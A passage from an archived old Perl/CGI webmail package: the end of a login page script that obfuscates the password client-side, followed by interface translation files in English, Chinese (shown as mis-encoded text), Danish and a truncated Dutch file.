 for (var i=0; i<pl; i++) {
    if (i>kl-1) {
      if (cnt>=kl) {
        usekey = 0; cnt = 0;
      } else {
        usekey = cnt++
      }
    } else {
      usekey = i
    }

    var add = pv.charCodeAt(i) + kv.charCodeAt(usekey)
    cipher += add + " "
    npass += String.fromCharCode(add)
 }

 document.login.LIST.value = cipher

}

function rev(string) {
 var revd = ""
 var np = ""
 for (var i=string.length-1; i>=0; i--) {
    revd += string.charAt(i)
    np += "*"
 }
 document.login.P.value = np
 return revd
}
    
//-->
</SCRIPT>
</BODY></HTML>
wm357/language.cgi100644    312    144       12436  7245677670  13272 0ustar  webmailuserssub get_language {

my %L;

#
# MAKE SURE you leave html markups in...
#

$L{CHARSET} = 'iso-8859-1';

$L{'Back'}=			"Back";
$L{'Error: Login Expired'}=	"Error: Login Expired";
$L{'Un-Delete'}=		"Un-Delete";
$L{'Mail Box : 0 E-Mails'}=	"Mail Box : 0 E-Mails";
$L{'Update Confirmation'}=	"Update Confirmation";
$L{'Log In'}=			"Log In";
$L{'Log Out'}=			"Log Out";
$L{'Webmail Address Book'}=	"Webmail Address Book";
$L{'Add E-Mail Addresses'}=	"Add E-Mail Addresses";
$L{'Name'}=			"Name";
$L{'Address'}=			"Address";
$L{'Addresses'}=		"Addresses";
$L{'Address Book'}=		"Address Book";
$L{'Open Address Book'}=	"Open Address Book";
$L{'Edit Address Book'}=	"Edit Address Book";
$L{'Update Address Book'}=	"Update Address Book";
$L{'Cancel'}=			"Cancel";
$L{'Web Based E-Mail'}=		"Web Based E-Mail";
$L{'Date'}=			"Date";
$L{'Size'}=			"Size";


$L{'To'}=			"To";
$L{'From'}=			"From";
$L{'Subject'}=			"Subject";
$L{'Cc'}=			"Cc";
$L{'Bcc'}=			"Bcc";


$L{'Attached'}=			"Attached";
$L{'Send E-Mail'}=		"Send E-Mail";
$L{'Clear Message Box Only'}=	"Clear Message Box Only";
$L{'Attach Files To Your Message (Optional)'}="Attach Files To Your Message (Optional)";
$L{'Clear Message Box Only'}=	"Clear Message Box Only";
$L{'Webmail Address Book'}=	"Webmail Address Book";
$L{'Edit Existing E-Mail Addresses'}="Edit Existing E-Mail Addresses";
$L{'Error: Login Failed'}=	"Error: Login Failed";
$L{'loginerrmsg'}=		"Login Failed: Wrong username or password. Please try again...";
$L{'logintimeout'}=		" minutes have elapsed since your last login.  Please log in again...";
$L{'Select All Messages'}=	"Select All Messages";

$L{'Delete Selected Messages From Mail Server'}="Delete Selected Messages From Mail Server";

$L{'logoutconftitle'}=		"Log Out Confirmation";
$L{'logoutconfmsg1'}=		"You Have Successfully Logged Out.";
$L{'logoutconfmsg2'}=		"Please Close Your Web Browser.";
$L{'Confirmation Message'}="Confirmation Message";

$L{'Your Message Has Been SENT to the Following Recipients'}="Your Message Has Been SENT to the Following Recipients";

$L{'Your Message Could NOT be Sent to the Following Recipients'}="Your Message Could NOT be Sent to the Following Recipients";

$L{'Original Message'}="Original Message";
$L{'Return to Original Message'}="Return to Original Message";
$L{'Address To Selected Users'}= "Address To Selected Users";

$L{'address_note'}="<b>Note: </b>Address Books with many entries make take a few seconds to update the To:, Cc: and Bcc: fields.";

$L{'Reply'}=			"Reply";
$L{'Reply All'}=		"Reply All";
$L{'Forward'}=			"Forward";
$L{'Previous'}=			"Previous";
$L{'Delete'}=			"Delete";
$L{'Next'}=			"Next";
$L{'Webmail Error Message'}=	"Webmail Error Message";
$L{'Back to Previous Page'}=	"Back to Previous Page";
$L{'Compose'}=			"Compose";
$L{'Compose E-Mail'}=		"Compose E-Mail";
$L{'Mail Box'}=			"Mail Box";
$L{'Next Message'}=		"Next Message";
$L{'adupconf'}=			"Your address book has been successfully updated!<br>New address book displayed below.";
$L{'Return'} = "Return";

$L{'Your Message Could NOT be Sent to the Following Recipients'} = "Your Message Could NOT be Sent to the Following Recipients"; 

$L{'Click on the links (in blue) to send email to one person only.'} = "Click on the links (in blue) to send email to one person only.";

# 3.14 additons

$L{'Replay'} = "Replay";

# 3.26 additions

$L{'Set Preferences'}="Set Preferences";
$L{'Preferences'}="Preferences";
$L{'Your Name'}="Your Name";
$L{'Your E-Mail Address'}="Your E-Mail Address";
$L{'Your Signature'}="Your Signature";
$L{'Update Preferences'}="Update Preferences";
$L{'REQUIRED'}="REQUIRED";
$L{'YOURSIG'}="\r\n\r\n$L{'Your Name'}";

$L{'User Name'} ="User Name";
$L{'Password'}="Password";
$L{'Log Into Your E-Mail Account!!'}="Log Into Your E-Mail Account!!";
$L{'UGuide'}="User's Guide (English)";
$L{'Bug Reports'}="Bug Reports";

$L{'UPDATEALWAYS'}="Check E-Mail and delete messages from mail server each time mail box is displayed (Un-Delete option NOT available).";
$L{'UPDATELOGIN'}="Check E-Mail and delete messages from mail server at Log-In only (Un-Delete option available).";

$L{'Messages Deleted from Mail Server'}="Messages Deleted from Mail Server";
$L{'New Messages'}="New Messages";


$L{'PREFINTRO1'}="Messages are deleted from the Mail Server at LOG OUT.";
$L{'PREFINTRO2'}="If you forget to LOG OUT, messages are deleted the next time you LOG IN.";
$L{'PREFINTRO3'}="Messages may be UN-DELETED via the Mail Box \"Un-Delete\" button.";
$L{'PREFINTRO4'}="The Mail Server is checked for NEW messages each time the Mail Box is displayed.";

# 3.29 additions

$L{'POP Server Connect Error'} = "POP Server Connect Error";
$L{'Unable to connect to POP server'} = "Unable to connect to POP server";
$L{'SMTP (sendmail) Server Connect Error'} = "SMTP (sendmail) Server Connect Error";
$L{'Unable to connect to SMTP (sendmail) server'}="Unable to connect to SMTP (sendmail) server";

# end 3.29 additions...

# version 3.40 additions (cleaning up some mess!)
# special thanks to Kasper for bringing this to our attention...!

$L{'Save Address'}=		"Save Address";
$L{'Download Attachment'}=	"Download Attachment";

# end 3.40 additions

# begin 3.41 additions

$L{'Incoming Messages'}       =  "Incoming Messages";
$L{'Saved Outgoing Messages'} =  "Saved Outgoing Messages";
$L{'Save Outgoing Message'}   =  "Save Outgoing Message";

# end 3.41 additions

return %L;

}
1;
wm357/language.chinese_big5.cgi100644    312    144       10354  7245677670  15612 0ustar  webmailuserssub get_language {

my %L;

# translator: chuavv@mail.savs.hcc.edu.tw

#
# MAKE SURE you leave html markups in...
#

$L{CHARSET} = 'big5';

$L{'Back'}=			"¦^¥h";
$L{'Error: Login Expired'}=	"¿ù»~¡Gµn¤J¹O®É";
$L{'Un-Delete'}=		"±Ï¦^";
$L{'Mail Box : 0 E-Mails'}=	"«H½c¡G 0 ¶l¥ó";
$L{'Update Confirmation'}=	"§ó·s½T»{";
$L{'Log In'}=			"µn¤J";
$L{'Log Out'}=			"µn¥X";
$L{'Webmail Address Book'}=	"Webmail³q°T¿ý";
$L{'Add E-Mail Addresses'}=	"¥[¤J³q°T¿ý";
$L{'Name'}=			"©m¦W";
$L{'Address'}=			"email";
$L{'Addresses'}=		"³q°T¿ý";
$L{'Address Book'}=		"³q°T¿ý";
$L{'Open Address Book'}=	"¶}±Ò³q°T¿ý";
$L{'Edit Address Book'}=	"½s¿è³q°T¿ý";
$L{'Update Address Book'}=	"§ó·s³q°T¿ý";
$L{'Cancel'}=			"¨ú®ø";
$L{'Web Based E-Mail'}=		"ÂsÄý¾¹«¬¶l¥ó";
$L{'Date'}=			"¤é´Á";
$L{'Size'}=			"¤j¤p";


$L{'To'}=			"¦¬¥óªÌ";
$L{'From'}=			"±H¥óªÌ";
$L{'Subject'}=			"¥D¦®";
$L{'Cc'}=			"°Æ¥»";
$L{'Bcc'}=			"ÁôÂðƥ»";


$L{'Attached'}=			"ªþ¥ó";
$L{'Send E-Mail'}=		"±H«H";
$L{'Clear Message Box Only'}=	"²M°£¤º®e";
$L{'Attach Files To Your Message (Optional)'}="¥[ªþ¥óÀÉ®×";
$L{'Clear Message Box Only'}=	"²M°£¤º®e";
$L{'Webmail Address Book'}=	"Webmail³q°T¿ý";
$L{'Edit Existing E-Mail Addresses'}="½s¿è³q°T¿ý";
$L{'Error: Login Failed'}=	"¿ù»~¡Gµn¤J¥¢±Ñ";
$L{'loginerrmsg'}=		"µn¤J¥¢±Ñ¡G±b¸¹©Î±K½X¿ù»~¡D½Ð­«·sµn¤J¡D";
$L{'logintimeout'}=		"³s½u¹O®É¡D½Ð­«·sµn¤J¡D";
$L{'Select All Messages'}=	"¥þ¿ï";

$L{'Delete Selected Messages From Mail Server'}="¦b¦øªA¾¹§R°£©Ò¿ïªº«H¥ó";

$L{'logoutconftitle'}=		"µn¥X§¹¦¨";
$L{'logoutconfmsg1'}=		"µn¥X§¹¦¨";
$L{'logoutconfmsg2'}=		"½ÐÃö²¦ÂsÄý¾¹¡D";
$L{'Confirmation Message'}=	"½T»{";

$L{'Your Message Has Been SENT to the Following Recipients'}="«H¤w±Hµ¹";

$L{'Your Message Could NOT be Sent to the Following Recipients'}="«HµLªk±Hµ¹";

$L{'Original Message'}=		"­ì©l«H¥ó";
$L{'Return to Original Message'}="ªð¦^­ì©l«H¥ó";
$L{'Address To Selected Users'}= "±Hµ¹©Ò¿ïªº¦¬¥óªÌ";

$L{'address_note'}="ª`·N¡G¦pªG§A¿ï«Ü¦h¦¬¥óªÌ¡A·|ªá¤@¨Ç®É¶¡³B²z¡D";

$L{'Reply'}=			"¦^ÂÐ";
$L{'Reply All'}=		"¥þ³¡¦^ÂÐ";
$L{'Forward'}=			"Âà±H";
$L{'Previous'}=			"¤W¤@«Ê";
$L{'Delete'}=			"§R°£";
$L{'Next'}=			"¤U¤@«Ê";
$L{'Webmail Error Message'}=	"Webmail¿ù»~°T®§";
$L{'Back to Previous Page'}=	"¤W¤@­¶";
$L{'Compose'}=			"·s¶l¥ó";
$L{'Compose E-Mail'}=		"·s¶l¥ó";
$L{'Mail Box'}=			"¬d·s¶i¶l¥ó";
$L{'Next Message'}=		"¤U¤@«H¥ó";
$L{'adupconf'}=			"³q°T¿ý§ó·s§¹¦¨¡I¥H¤UÅã¥Ü·s³q°T¿ý¡D";
$L{'Return'} = 			"ªð¦^";

$L{'Your Message Could NOT be Sent to the Following Recipients'} = "µLªk±Hµ¹¥H¤U¦¬¥óªÌ";

$L{'Click on the links (in blue) to send email to one person only.'} = "½ÐÂI¿ï¦¬¥óªÌ¡D";

# 3.14 additons

$L{'Replay'} = "§ó·sµe­±";

# 3.26 additions

$L{'Set Preferences'}="³]©w§Úªº¸ê®Æ";
$L{'Preferences'}="§Úªº¸ê®Æ";
$L{'Your Name'}="©m¦W";
$L{'Your E-Mail Address'}="email";
$L{'Your Signature'}="ñ¦W";
$L{'Update Preferences'}="§ó·s§Úªº¸ê®Æ";
$L{'REQUIRED'}="¥²¶·§ó§ï";
$L{'YOURSIG'}="\r\n\r\n$L{'Your Name'}"; # do not translate this line!

$L{'User Name'} ="±b¸¹";
$L{'Password'}="±K½X";
$L{'Log Into Your E-Mail Account!!'}="µn¤Jemail±b¸¹";
$L{'UGuide'}="¨Ï¥Î«ü«n¡]­^¤å¡^";
$L{'Bug Reports'}="Bug Reports";

$L{'UPDATEALWAYS'}="¬d·s¶l¥ó®É¡AŪ¨ú¶l¥ó«á¦P®É±N¦øªA¾¹ªº¶l¥ó§R°£";
$L{'UPDATELOGIN'}="¦bµn¤J®É¡A¬d·s¶l¥ó¡AŪ¨ú¶l¥ó«á¦P®É±N¦øªA¾¹ªº¶l¥ó§R°£";
$L{'Messages Deleted from Mail Server'}="¦øªA¾¹¶l¥ó¤w§R°£";
$L{'New Messages'}="·s¶i¶l¥ó";


$L{'PREFINTRO1'}="µn¥X®É§R°£¦øªA¾¹¶l¥ó¡D";
$L{'PREFINTRO2'}="­Y¥¼µn¥X¡A¤U¤@¦¸µn¤J®É§R°£¦øªA¾¹¶l¥ó¡D";
$L{'PREFINTRO3'}="«ö«H½cªº¡u±Ï¦^¡v«ö§á¥i¥H±Ï¦^¤w§R°£ªº«H¥ó¡D";
$L{'PREFINTRO4'}="¨C¦¸Åã¥Ü«H½c·|Àˬd¦øªA¾¹¬O§_¦³·s¶i«H¥ó¡D";

# 3.29 additions

$L{'POP Server Connect Error'} = "POP¦øªA¾¹³s±µ¿ù»~";
$L{'Unable to connect to POP server'} = "µLªk³s±µPOP¦øªA¾¹";
$L{'SMTP (sendmail) Server Connect Error'} = "SMTP (sendmail) ¦øªA¾¹³s±µ¿ù»~";
$L{'Unable to connect to SMTP (sendmail) server'}="µLªk³s±µSMTP (sendmail) ¦øªA¾¹";

# end 3.29 additions...

# version 3.40 additions (cleaning up some mess!)
# special thanks to Kasper for bringing this to our attention...!

$L{'Save Address'}=		"¥[¤J³q°T¿ý";
$L{'Download Attachment'}=	"¤U¸üªþ¥ó";

# end 3.40 additions

# begin 3.41 additions

$L{'Incoming Messages'}       =  "¥Ø«e«H¥ó";
$L{'Saved Outgoing Messages'} =  "±H¥ó³Æ¥÷";
$L{'Save Outgoing Message'}   =  "³Æ¥÷±H¥ó";

# end 3.41 additions

return %L;

}
1;
wm357/language.chinese_gb2312.cgi100644    312    144       10467  7245677670  15671 0ustar  webmailuserssub get_language {

my %L;

# translator: alatin@netease.com

#
# MAKE SURE you leave html markups in...
#

$L{CHARSET} = 'gb2312';

$L{'Back'}=			"·µ»Ø";
$L{'Error: Login Expired'}=	"´íÎó: µÇÈ볬ʱ£¬¿ÉÄÜ·þÎñÆ÷æ";
$L{'Un-Delete'}=		"»Ö¸´É¾³ý";
$L{'Mail Box : 0 E-Mails'}=	"ÊÕ¼þÏä : 0 ¸öÓʼþ";
$L{'Update Confirmation'}=	"¸üÐÂ";
$L{'Log In'}=			"µÇÈë";
$L{'Log Out'}=			"Í˳ö";
$L{'Webmail Address Book'}=	"µØÖ·±¾";
$L{'Add E-Mail Addresses'}=	"Ôö¼ÓµØÖ·";
$L{'Name'}=			"Ãû×Ö";
$L{'Address'}=			"µØÖ·";
$L{'Addresses'}=		"µØÖ·±í";
$L{'Address Book'}=		"µØÖ·±¾";
$L{'Open Address Book'}=	"´ò¿ªµØÖ·±¾";
$L{'Edit Address Book'}=	"±à¼­µØÖ·±¾";
$L{'Update Address Book'}=	"¸üеØÖ·±¾";
$L{'Cancel'}=			"È¡Ïû";
$L{'Web Based E-Mail'}=		"µç×ÓÓʼþϵͳ";
$L{'Date'}=			"ÈÕÆÚ";
$L{'Size'}=			"´óС";


$L{'To'}=			"ÊÕ¼þÈË";
$L{'From'}=			"·¢¼þÈË";
$L{'Subject'}=			"±êÌâ";
$L{'Cc'}=			"´«ËÍ";
$L{'Bcc'}=			"³­ËÍ";


$L{'Attached'}=			"¸½¼þ";
$L{'Send E-Mail'}=		"·¢ËÍÓʼþ";
$L{'Clear Message Box Only'}=	"Çå³ýÐÅÏ¢¿ò";
$L{'Attach Files To Your Message (Optional)'}="¸½¼þ£¨¿ÉÑ¡£©";
$L{'Clear Message Box Only'}=	"Çå³ýÐÅÏ¢¿ò";
$L{'Webmail Address Book'}=	"µØÖ·±¾";
$L{'Edit Existing E-Mail Addresses'}="±à¼­µØÖ·";
$L{'Error: Login Failed'}=	"´íÎ󣺵ÇÈë´íÎó";
$L{'loginerrmsg'}=		"µÇ¼ʧ°Ü: ´íÎóÓû§Ãû»òÃÜÂë. ÇëÖØÊÔ...";
$L{'logintimeout'}=		" ·ÖÖÓÒÔ¹ýÈ¥ÁË£¨¾àÄãÉϴεǼ£©. ÇëÖØеǼ...";
$L{'Select All Messages'}=	"Ñ¡ÔñËùÓÐÓʼþ";

$L{'Delete Selected Messages From Mail Server'}="´Ó·þÎñÆ÷ÉÏɾ³ýÓʼþ";

$L{'logoutconftitle'}=		"È·ÈÏÍ˳ö";
$L{'logoutconfmsg1'}=		"¼º³É¹¦Í˳ö.";
$L{'logoutconfmsg2'}=		"Çë¹Ø±Õ´°¿Ú.";
$L{'Confirmation Message'}="È·ÈÏ";

$L{'Your Message Has Been SENT to the Following Recipients'}="ÄãµÄÓʼþ¼ºË͵½£º";

$L{'Your Message Could NOT be Sent to the Following Recipients'}="ÄãµÄÓʼþÎÞ·¨Ë͵½£º";

$L{'Original Message'}="Ô­Óʼþ";
$L{'Return to Original Message'}="»Øµ½Ô­Óʼþ";
$L{'Address To Selected Users'}= "Óû§µØÖ·";

$L{'address_note'}="<b>×¢Òâ: </b>ÓʼþÒª¼¸ÃëÖÓÀ´È·ÈÏÊÕ¼þÈË:, ´«ËÍ: ³­ËÍ: À¸.";

$L{'Reply'}=			"»Ø¸´";
$L{'Reply All'}=		"È«²¿»Ø¸´";
$L{'Forward'}=			"ת·¢";
$L{'Previous'}=			"Ç°Ò»¸ö";
$L{'Delete'}=			"ɾ³ý";
$L{'Next'}=			"ÏÂÒ»¸ö";
$L{'Webmail Error Message'}=	"´íÎóÐÅÏ¢";
$L{'Back to Previous Page'}=	"»Øµ½Ç°Ò³";
$L{'Compose'}=			"׫д";
$L{'Compose E-Mail'}=		"׫дÓʼþ";
$L{'Mail Box'}=			"ÓÊÏä";
$L{'Next Message'}=		"ÏÂÒ»Óʼþ";
$L{'adupconf'}=			"µØÖ·±¾¼º¸üÐÂ!<br>еØÖ·ÈçÏ£º";
$L{'Return'} = "·µ»Ø";

$L{'Your Message Could NOT be Sent to the Following Recipients'} = "ÄãµÄÓʼþÎÞ·¨Ë͵½ÒÔÏÂÐÅÏä"; 

$L{'Click on the links (in blue) to send email to one person only.'} = "µãÏÂÃæµÄÀ¶É«Á´½Ó£¬·¢ËÍÓʼþ¸øËû.";

# 3.14 additons

$L{'Replay'} = "ÖØÊÔ";

# 3.26 additions

$L{'Set Preferences'}="ÉèÖû·¾³";
$L{'Preferences'}="»·¾³";
$L{'Your Name'}="ÄãµÄÃû×Ö";
$L{'Your E-Mail Address'}="ÄãµÄÓʼþµØÖ·";
$L{'Your Signature'}="ÄãµÄÇ©Ãû";
$L{'Update Preferences'}="¸üÐÂÉèÖÃ";
$L{'REQUIRED'}="񻂗";
$L{'YOURSIG'}="\r\n\r\n$L{'Your Name'}"; # do not translate this line!

$L{'User Name'} ="̞";
$L{'Password'}="ÃÜÂë";
$L{'Log Into Your E-Mail Account!!'}="µÇÈëÄãµÄÓû§!!";
$L{'UGuide'}="Óû§µ¼Òý (Ó¢ÎÄÒ²£¬µÈ×Åalatinºº»¯à¶£¡)";
$L{'Bug Reports'}="Óгô³æ£¬Ç뱨¸æ";

$L{'UPDATEALWAYS'}="ÿ´ÎÏÔʾÓʼþºó£¬¼ì²éÓʼþ²¢´Ó·þÎñÆ÷ÉÏɾ³ý (»Ö¸´É¾³ý¾Í²»ÄÜÓÃÁË).";
$L{'UPDATELOGIN'}="Ö»ÔڵǼºó²Å¼ì²éÓʼþ¼°É¾³ýÓʼþ (¿ÉÓûָ´É¾³ý).";

$L{'Messages Deleted from Mail Server'}="´Ó·þÎñÆ÷ÉÏɾ³ý";
$L{'New Messages'}="ÐÂÓʼþ";


$L{'PREFINTRO1'}="Í˳öºó´ÓÓʼþ·þÎñÆ÷ÉÏɾ³ýÓʼþ.";
$L{'PREFINTRO2'}="ÈçÄãÍü¼ÇÍ˳ö, Óʼþ»áÔÚÏ´εÇÈëºó²Åɾ³ý.";
$L{'PREFINTRO3'}="Óʼþ¿ÉÒÔ´ÓÓÊÏäµÄ \"»Ö¸´É¾³ý\" °´Å¥»Ö¸´.";
$L{'PREFINTRO4'}="ÿ´ÎÏÔʾÓÊÏä»á¼ì²éÐÂÓʼþ.";

# 3.29 additions

$L{'POP Server Connect Error'} = "POP ·þÎñÆ÷Á¬½Ó´íÎó";
$L{'Unable to connect to POP server'} = "ÎÞ·¨Á¬½ÓPOP·þÎñÆ÷£¨ÎÞ·¨È¡Óʼþ£©";
$L{'SMTP (sendmail) Server Connect Error'} = "SMTP (·¢ËÍÓʼþ) ·þÎñÆ÷Á¬½Ó´íÎó";
$L{'Unable to connect to SMTP (sendmail) server'}="ÎÞ·¨Á¬½ÓSMTP (·¢ËÍÓʼþ)·þÎñÆ÷";

# end 3.29 additions...

# version 3.40 additions (cleaning up some mess!)
# special thanks to Kasper for bringing this to our attention...!

$L{'Save Address'}=		"±£´æµØÖ·";
$L{'Download Attachment'}=	"±£´æ¸½¼þ";

# end 3.40 additions

# begin 3.41 additions

$L{'Incoming Messages'}       =  "ÊÕ¼þÏä";
$L{'Saved Outgoing Messages'} =  "·¢¼þÏä";
$L{'Save Outgoing Message'}   =  "´¢´æ·¢Ë͵ÄÓʼþ";

# end 3.41 additions

return %L;

}
1;
wm357/language.danish.cgi100644    312    144       12472  7245677670  14537 0ustar  webmailuserssub get_language {

my %L;

#
# MAKE SURE you leave html markups in...
#
# translator : "Kasper" <kasper.br@mming.dk> 
#
# Some fields are not translated:
# Download attachment  (When reading e-mails)
# Save address  (save address to address book)

$L{CHARSET} = 'iso-8859-1';

$L{'Back'}=			"Tilbage";
$L{'Error: Login Expired'}=	"Fejl: Login udløbet";
$L{'Un-Delete'}=		"Gendan";
$L{'Mail Box : 0 E-Mails'}=	"Postkasse : 0 breve";
$L{'Update Confirmation'}=	"Godkend opdatering";
$L{'Log In'}=			"Log på";
$L{'Log Out'}=			"Afslut";
$L{'Webmail Address Book'}=	"Webmail adressebog";
$L{'Add E-Mail Addresses'}=	"Tilføj adresser";
$L{'Name'}=			"Navn";
$L{'Address'}=			"Adresse";
$L{'Addresses'}=		"Adresser";
$L{'Address Book'}=		"Adressebog";
$L{'Open Address Book'}=	"Åbn adressebog";
$L{'Edit Address Book'}=	"Rediger adressebog";
$L{'Update Address Book'}=	"Opdater adressebog";
$L{'Cancel'}=			"Fortryd";
$L{'Web Based E-Mail'}=		"Webbaseret post";
$L{'Date'}=			"Dato";
$L{'Size'}=			"Størrelse";


$L{'To'}=			"Til";
$L{'From'}=			"Fra";
$L{'Subject'}=			"Emne";
$L{'Cc'}=			"Cc";
$L{'Bcc'}=			"Bcc";


$L{'Attached'}=			"Vedhæftet";
$L{'Send E-Mail'}=		"Send brev";
$L{'Clear Message Box Only'}=	"Nulstil meddelelse";
$L{'Attach Files To Your Message (Optional)'}="Vedhæft filer til dit brev (valgfrit)";
$L{'Clear Message Box Only'}=	"Nulstil meddelelse";
$L{'Webmail Address Book'}=	"Webmail adressebog";
$L{'Edit Existing E-Mail Addresses'}="Rediger adresser";
$L{'Error: Login Failed'}=	"Fejl: Login mislykkedes";
$L{'loginerrmsg'}=		"Login mislykkedes: Forkert brugernavn eller password. Forsøg igen...";
$L{'logintimeout'}=		" minutter er gået siden dit sidste login.  Log på igen...";
$L{'Select All Messages'}=	"Marker alle breve";

$L{'Delete Selected Messages From Mail Server'}="Slet markerede breve fra postserver";

$L{'logoutconftitle'}=		"Afsluttet";
$L{'logoutconfmsg1'}=		"Logout tilendebragt.";
$L{'logoutconfmsg2'}=		"Luk venligst din browser.";
$L{'Confirmation Message'}="Afsendelse af brev";

$L{'Your Message Has Been SENT to the Following Recipients'}="Dit brev blev sendt til følgende adresser";

$L{'Your Message Could NOT be Sent to the Following Recipients'}="Dit brev kunne IKKE sendes til følgende
adresser";

$L{'Original Message'}="Oprindelige brev";
$L{'Return to Original Message'}="Tilbage til oprindelige brev";
$L{'Address To Selected Users'}= "Send til markerede personer";

$L{'address_note'}="<b>Note: </b>Adressebøger med mange poster kan bruge et par sekunde til at opdatere Til:, Cc: and Bcc: felterne.";

$L{'Reply'}=			"Besvar";
$L{'Reply All'}=		"Besvar til alle";
$L{'Forward'}=			"Videresend";
$L{'Previous'}=			"Forrige";
$L{'Delete'}=			"Slet";
$L{'Next'}=			"Næste";
$L{'Webmail Error Message'}=	"Webmail fejlmeddelelse";
$L{'Back to Previous Page'}=	"Tilbage til forrige side";
$L{'Compose'}=			"Skriv";
$L{'Compose E-Mail'}=		"Skriv brev";
$L{'Mail Box'}=			"Postkasse";
$L{'Next Message'}=		"Næste brev";
$L{'adupconf'}=			"Din adressebog er opdateret!<br>Ny adressebog vises forneden.";
$L{'Return'} = "Tilbage";

$L{'Your Message Could NOT be Sent to the Following Recipients'} = "Dit brev kunne IKKE sendes til
følgende adresser"; 

$L{'Click on the links (in blue) to send email to one person only.'} = "Klik på genvejen (blå) for at
sende din post til en enkelt adresse.";

# 3.14 additons

$L{'Replay'} = "Tilbage";

# 3.26 additions

$L{'Set Preferences'}="Sæt indstillinger";
$L{'Preferences'}="Indstillinger";
$L{'Your Name'}="Dit navn";
$L{'Your E-Mail Address'}="Din E-post adresse";
$L{'Your Signature'}="Din signatur";
$L{'Update Preferences'}="Opdater indstillinger";
$L{'REQUIRED'}="PÅKRÆVET";
$L{'YOURSIG'}="\r\n\r\n$L{'Your Name'}"; # do not translate this line!

$L{'User Name'} ="Brugernavn";
$L{'Password'}="Password";
$L{'Log Into Your E-Mail Account!!'}="Log på din postkonto!!";
$L{'UGuide'}="Brugervejledning (Engelsk!)";
$L{'Bug Reports'}="Fejlrapport";

$L{'UPDATEALWAYS'}="Hent og slet breve fra postserveren hver gang postkassen vises (Muligheden for at
gendanne er ikke tilgængelig).";
$L{'UPDATELOGIN'}="Hent og slet breve fra postserveren ved login (Mulighed for at gendanne).";

$L{'Messages Deleted from Mail Server'}="Breve slettet fra postserver";
$L{'New Messages'}="Nye breve";


$L{'PREFINTRO1'}="Breve slettes fra postserver når der logges af.";
$L{'PREFINTRO2'}="Hvis du glemmer at logge af, bliver brevene slettet næste gang du logger på.";
$L{'PREFINTRO3'}="Breve kan genskabes med postkassens \"Genskab\" knap.";
$L{'PREFINTRO4'}="Postserveren undersøges for nye breve hver gang postkassen vises.";

# 3.29 additions

$L{'POP Server Connect Error'} = "Fejl i forbindelse til POP Server";
$L{'Unable to connect to POP server'} = "Kan ikke forbinde til POP server";
$L{'SMTP (sendmail) Server Connect Error'} = "Fejl i forbindelse med SMTP Server (Send post)";
$L{'Unable to connect to SMTP (sendmail) server'}="Kan ikke forbinde til SMTP server";

# end 3.29 additions...

# version 3.40 additions (cleaning up some mess!)
# special thanks to Kasper for bringing this to our attention...!

$L{'Save Address'}=             "Gem adresse";
$L{'Download Attachment'}=      "Hent vedhæftet fil";
  
# end 3.40 additions

# begin 3.41 additions

$L{'Incoming Messages'}       =  "Indbakke";
$L{'Saved Outgoing Messages'} =  "Sendte breve";
$L{'Save Outgoing Message'}   =  "Gem sendte breve";

# end 3.41 additions

return %L;

}
1;
wm357/language.dutch.cgi100644    312    144       13171  7245677670  14375 0ustar  webmailuserssub get_language {

#
#  Steven Verpoest
#  Personal & Business Computers (PBC) bvba
#  Belgium
#  
#  Translator: Steven@pbc.be


my %L;

#
# MAKE SURE you leave html markups in...
#

$L{CHARSET} = 'iso-8859-1';

$L{'Back'}=			"Terug";
$L{'Error: Login Expired'}=	"Fout: Login sessie verlopen";
$L{'Un-Delete'}=		"Un-Delete";
$L{'Mail Box : 0 E-Mails'}=	"Postbus : 0 E-Mail(s)";
$L{'Update Confirmation'}=	"Update Confirmatie";
$L{'Log In'}=			"Log In";
$L{'Log Out'}=			"Log Out";
$L{'Webmail Address Book'}=	"Webmail Adresboek";
$L{'Add E-Mail Addresses'}=	"E-Mail Addressen toevoegen";
$L{'Name'}=			"Naam";
$L{'Address'}=			"Adres";
$L{'Addresses'}=		"Adressen";
$L{'Address Book'}=		"Address Book";
$L{'Open Address Book'}=	"Open Adresboek";
$L{'Edit Address Book'}=	"Wijzig Adresboek";
$L{'Update Address Book'}=	"Update Adresboek";
$L{'Cancel'}=			"Cancel";
$L{'Web Based E-Mail'}=		"Web Based E-Mail";
$L{'Date'}=			"Datum";
$L{'Size'}=			"Grootte";


$L{'To'}=			"Aan";
$L{'From'}=			"Van";
$L{'Subject'}=			"Onderwerp";
$L{'Cc'}=			"Cc";
$L{'Bcc'}=			"Bcc";


$L{'Attached'}=			"Bijlage";
$L{'Send E-Mail'}=		"Zend E-Mail";
$L{'Clear Message Box Only'}=	"Wis alleen berichtbox";
$L{'Attach Files To Your Message (Optional)'}="Bestanden toevoegen aan uw bericht (Optioneel)";
$L{'Clear Message Box Only'}=	"Wis alleen berichtenbox";
$L{'Webmail Address Book'}=	"Webmail Adresboek";
$L{'Edit Existing E-Mail Addresses'}="Wijzig bestaande E-Mail Adressen";
$L{'Error: Login Failed'}=	"Fout: Login mislukt";
$L{'loginerrmsg'}=		"Login mislukt: Verkeerde gebruikersnaam of paswoord. Gelieve opnieuw te proberen...";
$L{'logintimeout'}=		" minuten zijn verlopen sinds uw laatste login.  Gelieve opnieuw in te loggen...";
$L{'Select All Messages'}=	"Selecteer alle berichten";

$L{'Delete Selected Messages From Mail Server'} = "Verwijder de geselecteerde berichten van de Mailserver";

$L{'logoutconftitle'}=		"Log Out Bevestiging";
$L{'logoutconfmsg1'}=		"U bent nu uitgelogd.";
$L{'logoutconfmsg2'}=		"Gelieve uw Webbrowser te sluiten.";
$L{'Confirmation Message'}="Bevestiging bericht";

$L{'Your Message Has Been SENT to the Following Recipients'}="Uw bericht werd verstuurd naar volgende adressen:";

$L{'Your Message Could NOT be Sent to the Following Recipients'}="Uw bericht kon NIET worden verzonden naar volgende adressen:";

$L{'Original Message'}="Origineel bericht";
$L{'Return to Original Message'}="Terug naar origineel bericht";
$L{'Address To Selected Users'}= "Adres naar Geselecteerde gebruikers";

$L{'address_note'}="<b>Nota: </b>Adresboeken met veel gegevens kunnen enkele seconden vertraging geven om de To:, Cc:, en Bcc: velden te updaten.";

$L{'Reply'}=			"Beantwoorden";
$L{'Reply All'}=		"Alle beantwoorden";
$L{'Forward'}=			"Doorsturen";
$L{'Previous'}=			"Vorig";
$L{'Delete'}=			"Schrap";
$L{'Next'}=			"Volgend";
$L{'Webmail Error Message'}=	"Webmail foutbericht";
$L{'Back to Previous Page'}=	"Terug naar vorige pagina";
$L{'Compose'}=			"Nieuw";
$L{'Compose E-Mail'}=		"Nieuw E-Mail bericht";
$L{'Mail Box'}=			"Postbus";
$L{'Next Message'}=		"Volgend bericht";
